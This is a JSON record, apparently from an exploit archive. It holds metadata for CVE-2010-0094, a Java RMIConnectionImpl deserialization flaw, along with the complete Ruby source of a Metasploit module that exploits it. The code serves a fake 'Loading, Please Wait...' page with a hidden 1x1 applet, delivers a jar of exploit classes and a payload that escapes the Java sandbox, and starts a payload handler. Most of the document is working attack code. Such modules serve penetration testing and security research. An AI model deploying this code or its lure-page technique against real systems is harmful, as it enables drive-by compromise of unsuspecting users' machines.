{"exploit":{"id":"MSF-multi--browser--java_rmi_connection_impl","name":"Java RMIConnectionImpl Deserialization Privilege Escalation","description":"This module exploits a vulnerability in the Java Runtime Environment that allows to deserialize a MarshalledObject containing a custom classloader under a privileged context. The vulnerability affects version 6 prior to update 19 and version 5 prior to update 23.","cves":["CVE-2010-0094"],"author":"Sami Koivu, Matthias Kaiser, egypt","published":"2010-03-31","platform":"Java","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/browser/java_rmi_connection_impl.rb","path":"modules/exploits/multi/browser/java_rmi_connection_impl.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"java_rmi_connection_impl.rb","vulnerabilities":[{"id":"CVE-2010-0094","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in the Java Runtime Environment component in Oracle Java SE and Java for Business 6 Update 18 and 5.0 Update 23 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the March 2010 CPU. Oracle has not commented on claims from a reliable researcher that this is due to missing privilege checks during deserialization of RMIConnectionImpl objects, which allows remote attackers to call system-level Java functions via the ClassLoader of a constructor that is being deserialized.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-0094","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-0094"},"updatedAt":"2024-08-07T00:37:53.887Z","retrievedAt":"2026-11-26T13:49:25.505Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--browser--java_rmi_connection_impl.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--browser--java_rmi_connection_impl","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--java_rmi_connection_impl/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--java_rmi_connection_impl/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpServer::HTML\n\n  #\n  # Superceded by java_trusted_chain\n  #\n  # include Msf::Exploit::Remote::BrowserAutopwn\n  # autopwn_info({ :javascript => false })\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Java RMIConnectionImpl Deserialization Privilege Escalation',\n        'Description' => %q{\n          This module exploits a vulnerability in the Java Runtime Environment\n          that allows to deserialize a MarshalledObject containing a custom\n          classloader under a privileged context. The vulnerability affects\n          version 6 prior to update 19 and version 5 prior to update 23.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Sami Koivu', # Discovery\n          'Matthias Kaiser', # PoC\n          'egypt' # metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2010-0094' ],\n          [ 'OSVDB', '63484' ],\n          [ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-rmiconnectionimpl-deserialization.html' ],\n        ],\n        'Platform' => [ 'java' ],\n        'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },\n        'Targets' => [\n          [\n            'Generic (Java Payload)',\n            {\n              'Arch' => ARCH_JAVA,\n            }\n          ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2010-03-31',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def on_request_uri(cli, request)\n    if not request.uri.match(/\\.jar$/i)\n      if not request.uri.match(/\\/$/)\n        send_redirect(cli, get_resource() + '/', '')\n        return\n      end\n\n      print_status(\"#{self.name} handling request\")\n\n      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })\n      return\n    end\n\n    paths = [\n      [ \"Exploit.class\" ],\n      [ \"Exploit$1.class\" ],\n      [ \"Exploit$1$1.class\" ],\n      [ \"Exploit$2.class\" ],\n      [ \"Payloader.class\" ],\n      [ \"PayloadClassLoader.class\" ],\n      [ \"payload.ser\" ],\n    ]\n\n    p = regenerate_payload(cli)\n    jar = p.encoded_jar\n    paths.each do |path|\n      1.upto(path.length - 1) do |idx|\n        full = path[0, idx].join(\"/\") + \"/\"\n        if !(jar.entries.map { |e| e.name }.include?(full))\n          jar.add_file(full, '')\n        end\n      end\n      fd = File.open(File.join(Msf::Config.data_directory, \"exploits\", \"cve-2010-0094\", path), \"rb\")\n      data = fd.read(fd.stat.size)\n      jar.add_file(path.join(\"/\"), data)\n      fd.close\n    end\n\n    print_status(\"Sending Applet.jar\")\n    send_response(cli, jar.pack, { 'Content-Type' => \"application/octet-stream\" })\n\n    handler(cli)\n  end\n\n  def generate_html\n    html = \"<html><head><title>Loading, Please Wait...</title></head>\"\n    html += \"<body><center><p>Loading, Please Wait...</p></center>\"\n    html += \"<applet archive=\\\"Exploit.jar\\\" code=\\\"Exploit.class\\\" width=\\\"1\\\" height=\\\"1\\\">\"\n    html += \"</applet></body></html>\"\n    return html\n  end\nend\n","sha256":"2f0b490f2dcf0b51a8d6bd25b3eeb3fbf9e421e856ecca105ccc118d2df783b1","bytes":3364,"fetchedAt":"2026-11-26T13:49:19.819Z","encoding":"utf-8 (display only; download retains original bytes)"}